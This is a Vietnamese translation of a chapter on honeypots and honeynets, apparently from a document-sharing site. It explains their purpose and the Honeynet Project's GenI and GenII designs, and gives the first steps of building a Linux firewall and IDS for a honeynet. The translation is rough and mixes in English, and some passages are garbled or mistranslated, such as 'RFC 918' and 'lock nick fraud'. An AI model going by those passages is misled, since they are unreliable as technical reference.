Honeypots

Tài liệu Honeypots: Honeypots Tequila (VietHacker.org Translator Group Leader) Compose by hieupc (PDF) Một honeypot là 1 hình nộm được thiết kế để quan sát những cuộc tấn công của hacker. Một honeynet là 1 mạng được thiết lập xung quanh những hình nộm để lure và ghi lại những bước tấn công của hacker. Bằng việc nghiên cứu 1 cuộc tấn công thật, những người nghiên cứu I vọng có thể có được những bước tiến mới trong việc phát triển việc phòng ngự. Chương này sẽ giới thiệu về honeypots và hướng dẫn bạn từng bước thiết lập honeynet trên nền tảng Linux. Lance Spitzner, người sáng lập nên 1 trong những tracking endeavor được biết đến như là 1 Honeynet Project ( định nghĩa 1 honeypot giống như 1 nguồn an toàn mà các giá trị dựa trên probed, bị tấn công hoặc tổn thất. Mục đích của hệ thống masochistic này là để to be compromised và abused. Hi vọng rằng, mỗi khi honeypot có sự tấn công thì người nghiên cứu có thể học được những kỹ thuật tấn công mới. Ví dụ, bạn có thể dùng honeypot để tìm ra...

pdf10 trang | Chia sẻ: hunglv | Lượt xem: 2135 | Lượt tải: 1download
Bạn đang xem nội dung tài liệu Honeypots, để tải tài liệu về máy bạn click vào nút DOWNLOAD ở trên
Honeypots Tequila (VietHacker.org Translator Group Leader) Compose by hieupc (PDF) Một honeypot là 1 hình nộm được thiết kế để quan sát những cuộc tấn công của hacker. Một honeynet là 1 mạng được thiết lập xung quanh những hình nộm để lure và ghi lại những bước tấn công của hacker. Bằng việc nghiên cứu 1 cuộc tấn công thật, những người nghiên cứu I vọng có thể có được những bước tiến mới trong việc phát triển việc phòng ngự. Chương này sẽ giới thiệu về honeypots và hướng dẫn bạn từng bước thiết lập honeynet trên nền tảng Linux. Lance Spitzner, người sáng lập nên 1 trong những tracking endeavor được biết đến như là 1 Honeynet Project ( định nghĩa 1 honeypot giống như 1 nguồn an toàn mà các giá trị dựa trên probed, bị tấn công hoặc tổn thất. Mục đích của hệ thống masochistic này là để to be compromised và abused. Hi vọng rằng, mỗi khi honeypot có sự tấn công thì người nghiên cứu có thể học được những kỹ thuật tấn công mới. Ví dụ, bạn có thể dùng honeypot để tìm ra những rootkit, lỗi và các backdoor trước khi chúng đi bvào dòng chính. Chạy 1 nền tảng honeynet giống như bạn chạy 1 mạng lưới gián điệp trong hàng ngũ kẻ thù. Bạn phải xây dựng hệ thống phòng ngự và phải có khả năng giấu và dodge những cuộc tấn công mà bạn không thể đáp trả lại, tất cả đều được giữ trong trạng thái low profile trên mạng. Đây là 1 vấn đề rất quan trọng để nghiên cứu một cách an toàn về những máy tính ở những khoảng cách xa. Thay thế vào việc bạn phải đi tìm chúng thì chúng sẽ tự tìm đến với bạn. Thêm vào đó, những câu chuyện về honeypot có thể được được sáng tạo ra. Chẳng hạn như, 1 người nghiên cứu có thể sáng tạo nên câu chuyện: Một kẻ xâm nhập phá vỡ honeypot và triển khai những gói tin toolkit dưới cái têntar.gz. Anh ta thường sử dụng FTP để đăng nhập tới site của anh ta dưới user name là nickname của anh ta. Phần mềm IRC mà anh ta triển khai trên máy tính của anh ta cũng có cùng nickname đó và điều này chứng tỏ rằng anh ta trong thực tế được biết dưới cái bản sao đó. Hãy thử tưởng tượng sự ngạc nhiên của chúng tôi khi phát hiện ra rằng địa chỉ IP mà từ đó anh ta xuất hiện là địa chỉ từ site của anh ta. Nó đã được chuyển đổi. Và điều đó chứng tỏ rằng anh ta không quan tâm đến việc những nạn nhân của anh ta có thể trace ngược lại. Một hệ thống honeypot bị tổn thương khác chỉ ra rằng hành động đầu tiên của kẻ tấn công đó là thay đổi pass root của hệ thống (điều này làm cho người quản trị hệ thống hoặc chủ hệ thống đăng nhập vào và bị lỗi). Không một kẻ tấn công nào quan tâm đến việc kiểm tra sự hiện diện của Tripwire (một hệ thống kiểm tra tính toàn vẹn của hệ thống), đây là hệ thống được mặc định trong Red Hat Linux và được sử dụng như là 1 honeypot. Một khi Tripwire chạy, tất cả những "hidden" files sẽ dễ dàng được phát hiện ra. Một số những kẻ tấn công khác thì tạo ra những thư mục cho chính anh ta dưới cái tên nickname của mình trên thư mục root. Apparently, anh ta nghĩ rằng, không có người quản trị hệ thống nào có thể ngạc nhiên khi nhìn thấy 1 thư mục mới smack trên root. Dự án Honeynet có sự khác biệt giữa honeypot nghiên cứu và honeypot sản phẩm. Những honeypot nghiên cứu dựa trên những thông tin tình báo đặt được về kẻ tấn công cũng như phương pháp, kỹ thuật của ạnh ta. Trong khi đó, những honeypot sản phẩm có mục đích là làm giảm những nguy hiểm cho nguồn lực IT của công ty và cung cấp những cảnh báo phát triển cho các cuộc tấn công trên cơ sở hạ tầng mạng, đồng thời presumably diverting các cuộc tấn công khỏi hệ thống sản phẩm trong môi trường giám sát của honeypot. Nhìn chung, những honeypot sử dụng dự án này được gọi là honeynet. Lance Spitzner miêu tả chúng như những mạng các hệ thống sản phẩm được kết nối tới Internet (thậm chí có thể không qua firewall). Hệ thống này là 1 hệ thống sản phẩm chuẩn với những ứng dụng thực tế được sử dụng bởi các công ty trên mạng. Nothing is faked or artificial. Không có lỗ hổng nào được tạo ra cho những cuộc tấn công dễ dàng. Trong thực tế, nó hoàn toàn có khả năng là 1 bản sao (clone) của hệ thống sản phẩm và được triển khai thành honeynet, những thông tin confidential được gỡ bỏ hoặc thay thế bởi những thông tin tương tự nhưng không mang giá trị thực . Bạn cũng có thể chạy một honeypot hoặc 1 honeynet tại nhà hoặc tại những công ty nhỏ. Trong thực tế, bạn có thể triển khai 1 phần mềm đơn giản như là Linux honey, như Niels Provos, là những phần mềm có thể bắt chước những phản hồi của rất nhiều những dịch vụ đã biết. Trong trường hợp này, bạn có thể thu thập dữ liệu từ những cuộc tấn công bằng những worm tự động và initial những bước tiếp theo của một cuộc tấn công bởi con người. Tuy nhiên, illusion là giới hạn và không phải bao giờ cũng đạt được một mức độ cao sao khi những dữ liệu penetration được acquired. Nó có thể khá hài hước khi bạn quan sát 1 honeypot, nó có thể thu thập đủ thông tin cho dự án an ninh nhưng nó không có ích nhiều lắm. Để có thể tiếp cận với những hành động xảy ra trong bóng tối, bạn cần phải có 1 honeynet: 1 thiết bị trực tiếp kết nối tới mạng, cái mà có thể bị probed, bị tấn công, sở hữu và abused. Tương đối dễ để xây dựng 1 honeynet tại nhà. Bạn chỉ cần 1 vài máy tính, 1 kết nối tới mạng (thậm chí với 1 IP động) và một số kiến thức về an toàn thông tin, bạn sẽ sớm được tự hào là sở hữu chính mạng của bạn. sẵn sàng để admit những hacker từ tất cả mọi nơi trên thế giới. Rất quan trọng để có 1 lý do định nghĩa tốt cho việc triển khai một honeynet tuy nhiên hãy nói về motivation để làm việc đó. 20.1 Motivation Mục tiêu chuyển tiếp sự triển khai những honeypots cho việc bảo vệ mạng mới chỉ bắt đầu. 1 hướng truyền thông trực tiếp (a.k.a. bait-and-switch), shield honeypots, và những kỹ thuật khác là trong thời kỳ tiền khởi của họ. Một motivation thông thường nhất cho việc triển khai 1 honeypot hoặc là 1 honeynet đang được nghiên cứu. Những kiến thức học được từ các hacker (thậm chí chỉ là những script kiddies), những công cụ và kỹ thuật của họ không phải là dành cho tất cả mọi người. Tuy nhiên, nó thực sự đem lại lợi ích to lớn trong việc cảnh báo về an toàn, đào tạo và những công cụ an toàn hệ thống. Những nghiên cứu motivation được ứng dụng vào các honeypots exposed to những mạng công cộng. Một mặt, 1 honeypot cung cấp những giá trị to lớn bằng cách trở thành 1 IDS mà không có giá trị xác nhận sai, và lựa chọn bảo vệ những nguồn giá trị của mạng và host. Tạo nên những bản cơ sở dữ liệu bogus, các file và những thông tin rất hấp dẫn, giám sát truy cập tới chúng là 1 cách tốt để thwart một trong những loại network abuse đắt nhất và intellectual-property theft. Trong khi nghiên cứu là một trong những ứng dụng quan trọng nhất của honeypot thì mặt bảo vệ (cho cả bên trong và bên ngoài) cũng gia tăng sự quan trọng của nó. Tiếp theo, chúng ta sẽ đi vòng quanh chi tiết việc thiết lập 1 honeynet để nghiên cứu. Chúng tôi sẽ hướng dẫn bạn đọc những bước để xây dựng 1 honeynet trên nền tảng Linux. Phần cài đặt sẽ được miêu tả trên cả 3 phần: 1 nạn nhân, 1 firewall và 1hệ thống phát hiện xâm nhập. Bước cài đặt được chỉ ra trong hình Figure 20-1 là một trong những phần ghiên cứu về Honeynet của tác giả ( Figure 20-1. Sample honeynet 20.2 Xây dựng cơ sở hạ tầng: Hình Figure 20-1 chỉ cho chúng ta thấy cấu hình đơn giản nhất của 1 honeynet để tồn tại. Tuy nhiên, 1 honeynet có thể nhìn thấy được có thể được cài đặt trên chỉ 1 máy đơn nếu có một môi trường ảo (như VMWare hoặc UML-Linux) được sử dụng. Trong trường hợp này, thiết bị ảo sẽ được tạo ra trên 1 phần cứng đơn. 1 cái phục vụ như là 1 firewall, còn cái kia phục vụ như 1 hệ thống phát hiện xâm nhập và chưa có hệ thống bị tấn công/ Mặc dù những phần còn lại có thể được tạo ra trên 1 máy tính đơn, đủ mạnh, nhưng 1 honeypot ảo cũng sẽ trở thành 1 hiểm họa lớn khi kẻ tấn công biết được sự giả mạo đó. Trong thực tế, một vài kỹ thuật tấn công được triển khai đã phá vỡ môi trường ảo được thiết kế nghèo nàn đó. Hiếm khi có thể thiết kế được 1 honeypot đúng ngay từ lần đầu tiên bởi vì độ phức tạp trong việc cấu hình nó. Một hệ thống máy ảo tiêu biểu (như VMWare) không được thiết kế để chuyển đổi hoàn chỉnh, và những shielding của nó có thể bị breached. Tuy nhiên, một vài công nghệ đã được thiết kế để làm điều đó. Một hệ thống Sun Solaris được thiết kế đặc biệt để giữ cho 1 cages với honeypots optimized cho an toàn, forensic recovery, và dễ dàng cấu hình. Đồng thời, 1 vài honeypot ảo đặc biệt vì mục đích thương mại cũng được bản bởi Recourse (bây giờ là 1 phần của Symantec) dưới chi nhánh ManTrap brand. Mặc dù nó dường như không thật là không thể phá vỡ (bởi vì không có cái gì thực sự như vậy), nhưng ít nhất nó cũng rõ ràng rằng những người thiết kế ManTrap đã ứng dụng honeypot cho hệ thống của họ từ khi bắt đầu. Sản phẩm này thậm chí đi cùng với những nội dung được thiết kế để hỗ trợ honeypot với những dữ liệu thực sự như email, web pages, etc. ManTrap được miêu tả trong sách của Lance Spitzner về Honeypots: Theo dõi Hackers (Addison-Wesley, 2002), cùng với những giải pháp thương mại và phần mềm honeypot. Kết hợp giữa IDS và những chức năng của firewall bằng cách sử dụng 1 gateway IDS cho phép bạn có thể giảm những yêu cầu về cơ sở vật chất đồi hỏi cho 2 thiết bị đó.Một gateway IDS là 1 host với 2 card mạng mà có thể phân tích những luồng thông tin đi qua nó, xử lý những gói tin được chuyển tiếp đến và đưa ra các quyết định cảnh báo dựa trên nội dung gói tin. Một gateway IDS (giống như những phần mềm mã nguồn mở, miễn phí Hogwash hoặc là những thiết bị thương mại gateway) chuyển tất cả các tin tức và những điều khiển bắt buộc, từ những lệnh cho phép hoặc từ chối đơn giản đến những biến đổi các gói tin mạng phức tạp. Loại IDS này thậm chí còn ít được nhìn thấy hơn hơn những IDS sniffing thụ động truyền thống, bởi vì nó hoạt động dựa trên lớp thứ 2 của giao thức tcp/ip; đáng chú ý là nó chuyển đổi nhiều hơn là firewall trên đường truyền trong cài đặt 1 honeypot thông dụng. Ví dụ, Hogwash có thể thiết lập để phá hỏng những cố gắng tấn công kiểu buffer overflow (bằng cách thay thế chuỗi /bin/sh bằng chuỗi /ben/sh) để bảo vệ những site ở xa khỏi bị phá vỡ. Nó cũng làm gia tăng sự xuất hiện của những thực thể cho cài đặt honeynet bằng cách đánh dấu những điều khiển truy cập để có thể khó khăn hơn khi phát hiện. Tuy nhiên, 1 gateway IDS, với những honeynet ảo như được miêu tả ở trên đã mang đến những mối nguy mới. Những kiểu tấn công chưa biết, những biến thể tấn công và những cuộc tấn công dựa trên các kênh mã hóa là những mối nguy hiện tại đối với việc thiết lập những gateway lén lút. Những honeypot dựa trên Gateway – trong dự án Honeynet được gọi là những honeypot GenII (Đời thứ 2) để so sánh với những honeypot dựa trên firewall GenI (Đời thứ 1). Trong chương này, chúng tôi miêu tả honeypot đơn giản GenI, mặc dù nó có những điểm khác biệt so với GenII. Trang web về dự án Honeynet cung cấp nhiều lời khuyên cho việc xây dựng những honeynet GenI và GenII. Nó cũng bao gồm những công cụ tự động rất dễ để thực thi việc cấu hình. Ví dụ như có những script hoàn chỉnh để cấu hình firewall (đối với GenI) hoặc là bridge firewall (đối với GenII). Tuy nhiên, nhiều thay đổi là có thể và có thể được trông mong, dựa trên tiêu chí của dự án và những công nghệ có sẵn. Hãy cẩn thận để tránh khỏi việc chuẩn hóa honeypot mà làm cho nó không thể để lại dấu vết. Cài đặt của chúng tôi sẽ sử dụng Linux trên tất cả các hệ thống, tuy nhiên những môi trường Unix đa dạng như FreeBSD, OpenBSD, NetBSD, và Solaris - có thể được triển khai như những hệ thống victim. Trong thực tế, những kinh nghiệm được chỉ ra cho thấy môi trường *BSD hấp dẫn những kẻ tấn công chất lượng cao, mặc dù nó ít xảy ra. Những máy cài Linux với cấu hình mặc định bị hack thường đủ để cung cấp cho dòng dữ liệu các hành động của hacker (và do đó tạo nên những câu chuyện vui cũng như những kiến thức để học từ những cuộc tấn công này). Quan sát những cuộc tấn công giống nhau không đem lại những giá trị gì sau hàng tá cuộc tấn công, thậm chí với những kẻ tấn công mức độ thấp sử dụng những công cụ rất thú vị như rootkit hoặc backdoor. Thêm vào đó, họ thường xuyên thích thú sử dụng IRC để giảm bớt những thao tác của họ. Solaris cũng có thể được triển khai trên cả những thiết bị Intel lẫn Sun SPARC. Những thiết bị Sun SPARC có thể dễ dàng kiếm được trên eBay, cũng dễ như thế đối với các hệ thống Intel đã lỗi thời. Hệ thống Solaris thường chỉ mất 1 chút thời gian để có những cuộc tấn công, báo cáo từ những thành viên khác của dự án Honeynet chỉ ra rằng thường chỉ sau 2 đến 3 tháng cho để tìm ra 1 lỗ hổng mới trên 1 hệ thống Solaris, và có thể bị tấn công, khai thác. FreeBSD hoặc OpenBSD cũng cung cấp những mục tiêu rất thú vị, dường như những kẻ tấn công mức độ cao hơn sẽ tìm kiếm những hệ thống có FreeBSD hoặc OpenBSD hơn là những hệ thống Red Hat Linux. Hiện nay những FreeBSD honeypot của chúng tôi có thể thoát khỏi những nỗ lực xâm nhập không gây tổn thương trong vòng 3 tuần. Những kẻ tấn công này mong muốn có 1 hệ thống OpenBSD đủ mạnh. Tuy nhiên, bạn sẽ không dễ dàng thấy những khả năng của những kẻ tấn công trong việc chọc thủng hàng rào an ninh của tất cả các thiết bị tại cổng bảo vệ của bạn (trừ khi bạn đụng chạm tới những đặc điểm quan trọng trong giao tiếp ngầm). Trong thực tế, các phương pháp an toàn dù nhỏ nhất mà bạn thực thi trên máy victim cũng làm giảm một cách đáng kể con số những cuộc tấn công thành công của những kẻ tấn công không chuyên nghiệp. Sự thật này giúp nhắc nhở những người quản trị hệ thống Linux (hoặc là người sở hữu honeypot) bảo vệ hệ thống từ những thứ nhỏ nhất (bằng tất cả những gì bạn có thể làm) và bạn sẽ trở nên an toàn hơn rất nhiều. Nếu bạn củng cố cho máy móc của bạn như chúng ta đã miêu tả trong chương 11, bạn sẽ chờ cả đời để đón nhận 1 cuộc tấn công, bởi vì những hệ thống kiên cố như vậy không phải là không thể tấn công, nhưng lại rất dễ dàng bị qua mặt bởi những kẻ không chuyên nghiệp đang tìm kiếm những kỹ năng, đây là những kẻ tấn công chính đối với những hệ thống. Nếu hệ thống của bạn không đáp trả lại những lỗ hổng đó, nó sẽ thường xuyên bị bỏ qua. Như chúng tôi đã chỉ ra trong những chương khác, những máy móc kiên cố được biết như là những thiết bị được chạy hàng năm hoặc hàng tháng mà không phải khởi động lại và không bị tấn công. Đối với Windows, việc chạy 1 hệ thống Windows giống như 1 honeypot có thể phát sinh ra rất nhiều vấn đề. Hệ thống windows không phải là trong suốt (bởi vì hệ điều hành là những phần mềm mã nguồn đóng và có nhiều thành phần có rất ít tài liệu về nó). Và bởi vậy, nó rất khó để tin tưởng được việc ghi, lưu trữ và so sánh những trạng thái hoàn chỉnh của hệ thống Windows mà được dự định làm honeypot. Bạn có thể sẽ thường xuyên phải restore lại bộ nhớ, nhưng so sánh trạng thái của 1 thiết bị đã bị hack với bản thân nó trước khi bị tấn công tạo ra rất nhiều vấn đề. Nếu thiết bị honeypot bị hack, bạn phải nhanh chóng quyết định những gì đã bị thay đổi. Đối với Windows, chỉ có khả năng ghi lại bằng ổ đĩa cứng và so sánh nó với trạng thái tốt trước khi bị tấn công. Tất nhiên, bạn có thể sử dụng Tripwire cho Windows, nhưng nó có thể rất là đắt. Và chúng tôi thậm chí không đề cập đối với việc theo dõi những thay đổi registry; những thay đổi mà dường như ko có tài liệu nào đề cập đến bà volatile, và những sự lộn xộn đó thì không thể dễ dàng xác nhận được. Chạy 1 hệ thống victim trên hệ điều hành Windows là có thể nếu bạn có 1 chuyên gia bậc cao về an toàn Windows làm việc 1 cách hiệu quả. Tuy nhiên, trong trường hợp đó thì tính mờ của Windows sẽ ám ảnh bạn. Unix là sự lựa chọn an toàn nhất bởi vì tính trong suốt cao của nó. Nó rất dễ để điều khiển, và thậm chí nếu bạn gây ra lỗi thì cũng có nhiều cách để bạn sửa lại lỗi đó. Trong Windows realm, cách phổ biến nhất để sửa lỗi là khởi động lại hệ thống và lấy lại những gì thuộc về nó trước đó. Trong trường hợp bị tấn công vào môi trường sản phẩm, 1 thiết bị Windows thường cần phải wiped và format lại. Trong trường hợp honeypot, nếu bạn format lại thì rõ ràng là không hiệu quả. Một cuộc điều tra nặng nề hơn phải được đảm trách để tìm ra NetBus hoặc Sub7 hay những bản sao của chúng. or Windows không chấp nhận là 1 honeypot mà trong đó môi trường thường xuyên phải được điều khiển và quan sát, và không thể quay trở lại những trạng thái vận hành tốt đã biết. Một mặt, nó chỉ plopping một phần không an toàn của Windows vào honeynet và việc giám sát nó burn có thể rất nhiều chuyện thú vị. Quan sát tất cả những pesky Trojan probes, yêu cầu chia sẻ ổ cứng, và những worm tấn công thời gian thực và cười khi thấy hệ thống bị tổn thương và abused by some unknown cyberchump from halfway across the globe. Một máy tính có thể phục vụ rất tốt việc cảnh báo sớm những nghi ngờ, chẩnghnj như 1 con worm devastating đang thu thập những momentum to strike the following week. Một bài tập rất thú vị nữa đó là triển khai1 pre-Trojaned Windows box. Judging bởi 1 con số những lượt quét Sub7, BackOrifice2K, và những trojan phổ biến khác mà chúng ta nhìn thấy trong honeynet. Nhữngmalicious crackers thường xuyên có mặt trên prowl của 1 hoặc 2 Windows box (hoặc là hàng ngàn, cái mà rất which is a scary thought), và những công cụ tự động trawl the Net để tìm kiếm nhiều nạn nhân hơn nữa từ những hồi âm. Khác với việc sử dụng nhữngthiết bị để chống lại các cuộc tấn công kiểu DOS, những hệ thống Windowws đã bị tấn công là ideal for relay attacks, bởi vì không có 1 thống kê log nào của hệ thống xâm nhập được để lại. Gần đây, 1 trong những thành viên dự án Honeynet phát hiện ra rằng 1 tiến trình underground lock nick fraud operation chạy 1 số công cụ lock nick tự động và hoarding rất nhiều những nguồn various resources on committing lock nick fraud. Theo quan sát của ông ta, 1 thẻ với đầy đủ thông tin của người sở hữu có thể được trả với giá 10$ trong khi chỉ 1 số có thời hạn sử dụng chỉ đáng giá 1$. Hãy tiến hành những gì bạn muốn, nhưng trong chương này hướng của chúng tôi là cài đặt 1 honeypot dựa trên Unix. 20.2.1 Thủ tục: Chương này sẽ hướng dẫn bạn các thủ tục để xây dựng 1 honeypot, nó đòi hỏi những hiểu biết về TCP/IP, máy tính và an ninh mạng, và có thể cả Unix. Để làm tốt phần này, hãy đọc kỹ chương 6 và chương 11. 20.2.1.1 Chuẩn bị Đầu tiên, hãy tìm 3 máy PC Intel Pentium (hoặc tốt hơn) với những card mạng, 1 hub mạng và cáp nối. 2 trong số 3 máy tính phải có 2 card mạng mỗi cái. Lý tưởng nhất là firewall và IDS mỗi cái có 3 card mạng hoặc có thể sử dụng TCP hoặc USB để thay thế (để làm được điều này bạnc ần có cáp USB). Những thiết bị này sẽ tạo nên cốt lõi của honeynet hoặc là mạng deception. Trong thực té, đối với mỗi firewall thì thậm chí là những máy 486 có thể làm được, phụ thuộc chủ yếu vào tốc độ đường truyền. Thiết bị IDS nên có tốc độ xử lý bởi vì nó phải ghi nhận tất cả các cảnh báo được phát sinh cũng như những truyền thông trên mạng. Máy victim nên phải có tốc độ cao hon để làm cho nó giống thật hơn. Sau dùng, lưu ý rằng vẫn còn rất nhiều người dùng sử dụng những máy 486 cho các mục đích (và Linux vẫn có thể chạy tốt trên những thiết bị phần cứng này). Tiếp theo, bạn phải có một kết nối internet (hiệu quả nhất là DSL, dial-up có thể sẽ gây khó khăn cho những kẻ tấn công). Chúng tôi không giới thiệu 1 kết nối có sẵn nào mà bạn sử dụng không phải cho mục đích honeypot. Tuy nhiên, bạn có thể thiết lập 1 firewall riêng rẽ để có thể divert a predefined volume trên đường truyền theo những kết nối tốc độ cao của bạn với honeypot. Những mối nguy hiểm đối với thiết kế kiểu này là rất thấp. Trong mọi trường hợp, nếu 1 kẻ tấn công có thể giải quyết được vấn đề địa chỉ IP, họ sẽ nhận ra nó thuộc 1 ISP nào đó và điều đó có thể this should not arouse his suspicions. Phần The most likely species to delve vào honeypot của bạn chính là Scriptokidicus Vulgaris; i.e., 1 kẻ cracker – người mà thậm chí không muốn kiểm tra xem ai là người sở hữu thiết bị này. Cho dù bất cứ thiết bị nào mà họ có thể penetrate, và cho dù là nó có là secret-stuff.af.mil hay lamerhome.aol.com, thì những kẻ script kiddies cũng sẽ sử dụng nó. Đáng lưu ý rằng, những honeypot được triển khai trên những dãy IP xác định đó thường xuyên bị tấn công nhiều hơn là những cái khác. Đó là những thông tin rất hữu hiệu trên this phenomenon, và việc quản lý những kẻ script kiddies might shed light on it. Những công cụ họ sử dụng cần phải được nghiên cứu kỹ. Tuy nhiên điều đáng ngạc nhiên về những script kiddies đó là con số và những công cụ tự động mà họ sử dụng, họ thực sự represent một lỗ hổng trầm trọng trở nên là một môi trường thân thiện bình thường hơn là những elusive über-hackers. Bây giờ thì bạn cần phải có những phần mềm cần thiết cho honeypot, bao gồm hệ thống snort IDS ( ACID đối với thiết bị phân tích dữ liệu xâm nhập dựa trên GUI ( và swatch để giám sát những logfile theo thời gian thực (ftp://ftp.cert.dfn.de/pub/tools/audit/swatch/). Trong thực tế, tất cả những phần mềm này đều có sẵn trong Linux. Chúng tôi sử dụng Red Hat. Nó bao gồm cả những phần mềm firewalling nâng cao và NAT, Secure Shell cho những truy cập từ xa đối với honeypot và những phần mềm cần thiết khác. Cuối cùng, hãy thiết lập 1 máy tính làm máy victim. Bước này sẽ dược đề cập đến trong phần tới bởi vì việc thiết lập nó khác hoàn toàn với việc thiết lập firewall hay là IDS. 20.2.1.2 Cài đặt cơ sở hạ tầng cho hệ thống: Cài đặt Linux (Red Hat) trên 2 máy, dành cho firewall và IDS. Tối giản 2 máy cho giống nhau, bởi những dịch vụ cốt lõi được tạo ra bởi những thành phần Linux/GNU giống nhau. Máy firewall có 2 card mạng. Cấu hình nó với 1 địa chỉ honeypot có thể nhận thấy và 1 địa chỉ nonroutable (RFC 918), ví dụ như 10.1.1.1 hoặc 172.16.1.1. Card mạng thứ 2 sẽ được nối ra ngoài. Nên phát triển sniffer trực tiếp trên firewall để tránh hub. Tuy nhiên, việc cài đặt như thế này lại phát sinh 1 số vấn đề về an toàn bởi vì những NIDS sẽ dường như lộ rõ hơn, nhất là khi so sánh 1 IP hoàn chỉnh của box. Trên máy IDS, cấu hình 1 card mạng với bất kỳ 1 địa chỉ nào mà bạn muốn và để trống địa chỉ IP đối với card mạng kia. Chính card mạng được giấu đi này sẽ là giao diện sniffing của honeypot. Bởi vì những kẻ tấn công cấp cao có thể dùng những bẫy để kiểm tra và thậm chí tấn công vào sniffer, và thật khó mà tin rằng nó sẽ xảy ra trên chính honeypot của bạn (nếu chỉ triển khai ben ngoài firewall và exposed to the Internet). Có những lỗ hổng đã biết trong những thư viện sniffing (như là libpcap, được snort sử dụng để chụp các thông tin trên mạng). Nhưng những lỗi này vẫn còn ẩn chứa những tiến trình rất nguy hiểm và không thể tin tuởng được. Hiện nay, vẫn còn nhiều những lỗi script mà có thể khai thác được bằng Joe Cracker. Nhìn chung thì thậm chí những firewall cũng có thể bị tấn công và tổn thương và những IDS sẽ lưu trữ tất cả những sự kiện mà cần phải bảo vệ. Bây giờ bạn phải xây dựng và cấu hình thiết bị firewall. Không nên chạy bất cứ dịch vụ nào từ SSH để truy cập từ xa đến thiết bị IDS. Mọi gói tin có thể và nên được chuyển đi. Liên quan đến công việc này là việc hướng dẫn hoặc là sử dụng những công cụ như Linux Bastille của Jay Beale. Cho những mục đích của chúng ta, Bastille thì không đủ conservative bởi vậy nhiều dịch vụ cần được gỡ bỏ. Sử dụng thư viện rpm -e (gỡ bỏ những thành phần đã được cài đặt của hệ thống Linux) và rpm -e -nodeps (gỡ bỏ những phần mềm và bỏ qua những thành phần mà những dịch vụ khác cần đến nó – điều này có thể làm hỏng kế hoạch, nhưng nếu bạn chắc chắn rằng kế hoạch có thể phá vỡ và sẽ cài đặt lại bằng cách nào đó, thì hãy sử dụng nó. Lý tưởng nhất, nếu lệnh rpm có xung đột và không đồng ý gỡ bỏ 1 gói tin nào đó, bạn cần ghi nó lại và gỡ bỏ nó sau. Trong một cuộc tấn công nhanh, lựa chọn nodeps thỉnh thoảng không có tác hại mấy, thậm chí nó có thể phá vỡ tất cả mọi thứ. Do đó, việc gỡ bỏ mọi đặc tính cả GUI, bọ dịch, bộ chuyển đổi (Có thể cần đến Perl nhưng không phải trên firewall), những shell mở rộng thêm, tất cả mọi SUID, những công cụ phát triển, những phần mềm và nguồn nhân. Việc phát triển nhân là 1 ý tưởng tốt cho hệ thống, có khả năng sẽ dễ dàng thiết lập cho một honeypot exposed tới Internet, giống như thiết lập hệ thống ở nhà để học về an toàn mạng. Một mặt, việc dịch những nhân không có module là rất dễ dàng và có thể tạo ra rất nhiều thứ cho việc bảo vệ an ninh. Chắc chắn rằng phần mền firewalling (iptables) là 1 chức năng sau khi gỡ bỏ tất cả những gói tin không cần thiết bằng cách chạy lệnh /sbin/iptables –L Đầu ra của lệnh này tương tự như sau bởi vì chưa có quy tắc nào của firewall được đặt ra.: Chain INPUT (policy ACCEPT) Chain FORWARD (policy ACCEPT) Chain OUTPUT (policy ACCEPT) Sau đó, chúng ta phải tạo ra và triển khai 1 tập lệnh cho iptables firewall để giám sát trên những truyền thông tại máy victim. Tập lệnh này được thiết kế bởi dự án Honeynet đặc biệt dành cho loại honeypot này. Bạn phải chắc chắn rằng bạn có thể kết nối tới 1 server Secure Shell trên firewall ( lệnh ssh -l username localhost sẽ làm việc này). Tốt hơn là Secure Shell được thiết lập với xác thực không có password thông qua khóa được mã hóa, đây là phương pháp xác thực mà không đòi hỏi password. Trong trường hợp này, không thể brute force ra password, bởi vì không đặt password. Chỉ người chủ sở hữu của khóa đó mới có thể yêu cầu login. Có rất nhiều hướng dẫn cho việc này. Nếu bạn bow to paranoia (và bạn nên như vậy), bạn có thể thích tiến hành 1 Tripwire hoặc 1 bản mạo Tripwire trên hệ thống. AIDE là một phiên bản Tripwire tốt, miễn phí và dễ sử dụng. Bởi vì bạn đã gỡ bỏ tất cả những đặc điểm GUI khỏi máy tính nên cấu hình của giao diện mạng sẽ rất nguy hiểm. Sử dụng netconf (có sẵn tại /usr/bin/netcfg) hoặc là netconfig (/usr/sbin/netconfig) sẽ dễ dàng cấu hình được giao điện đó. Ngoài ra, cũng có khả năng thống kê đơn giản những file thích hợp trong /etc/sysconfig. Sau khi những việc cấu hình còn lại được thực hiện, bạn có thể sử dụng những script như 1 trong những script từ dự án Honeynet ( để thiết lập firewall. Script này có thể được cấu hình trong firewall GenI hoặc GenII. Trong thử nghiệm của chúng tôi, chúng tôi sử dụng lựa chọn GenI – là thiết bị có thể dễ dàng ứng dụng tập lệnh của iptables để cấm các kết nối dựa trên count, để cho phép các logging, và để chuyển tiếp những gói tin tới thiết bị honeypot. Đối với GenII, script thậm chí sẽ được cấu hình để làm cầu nối cần thiết cho việc vận hành thiết bị giống như 1 firewall không có bất kỳ 1 địa chỉ IP nào. Thiết bị IDS sẽ sniff toàn bộ truyền thông của mạng, ghi nhận lại những nỗ lực tấn công chống lại hoặc từ honeypot. Nó không bao giờ chuyển 1 thông tin nào đến honeynet và do vậy trong thực tế nó điều đó là không cho phép bởi vì nó là giao diện không có IP (Figure 20-1). Đầu tiên, thao tác những thủ tục giống nhau để củng cố hệ thống như firewall chẳng hạn như: gỡ bở, xóa sạch, cấm và không cho phép bất cứ thứ gì bạn cho là không cần thiết. Thiết bị này sẽ bị firewall để cấm tất cả các kết nối từ bên ngoài, không trường hợp nào được chấp nhận ở đây. Ngoài ra cũng không nên có bất kf một kết nối từ xa nào tới 1 IDS trừ khi bạn chỉ kết nối trong những mạng riêng hoặc mạng nội bộ. Triển khai Secure Shell, Tripwire (hoặc AIDE), Snort, ACID (và MySQL cho việc lưu trữ dữ liệu cần phân tích), iptables firewall, và swatch. Tất cả các phần mềm này có thể được triển khai dưới sự bảo vệ theo các tầng. iptables và TCP wrappers cho các điều khiển truy cập mạng, một con số rất nhỏ những người sử dụng, và cài đặt nhỏ gọn nhất làm cho hệ thống thực sự dễ bảo vệ. ACID và Snort yêu cầu một cơ sở dữ liệu để lưu trữ và hiển thị một cách hình ảnh những dữ liệu các cuộc tấn công, để làm điều này, hãy cài đặt MySQL (được tích hợp sẵn trong Red Hat). Nếu bạn không muốn truy cập tới những dữ liệu được chụp lại đó, hãy bỏ qua phần cơ sở dữ liệu này. Nếu muốn có thể truy xuất cơ sở dữ liệu qua web thì cần phải cài đặt PHP và Apache web server. Phải chắc 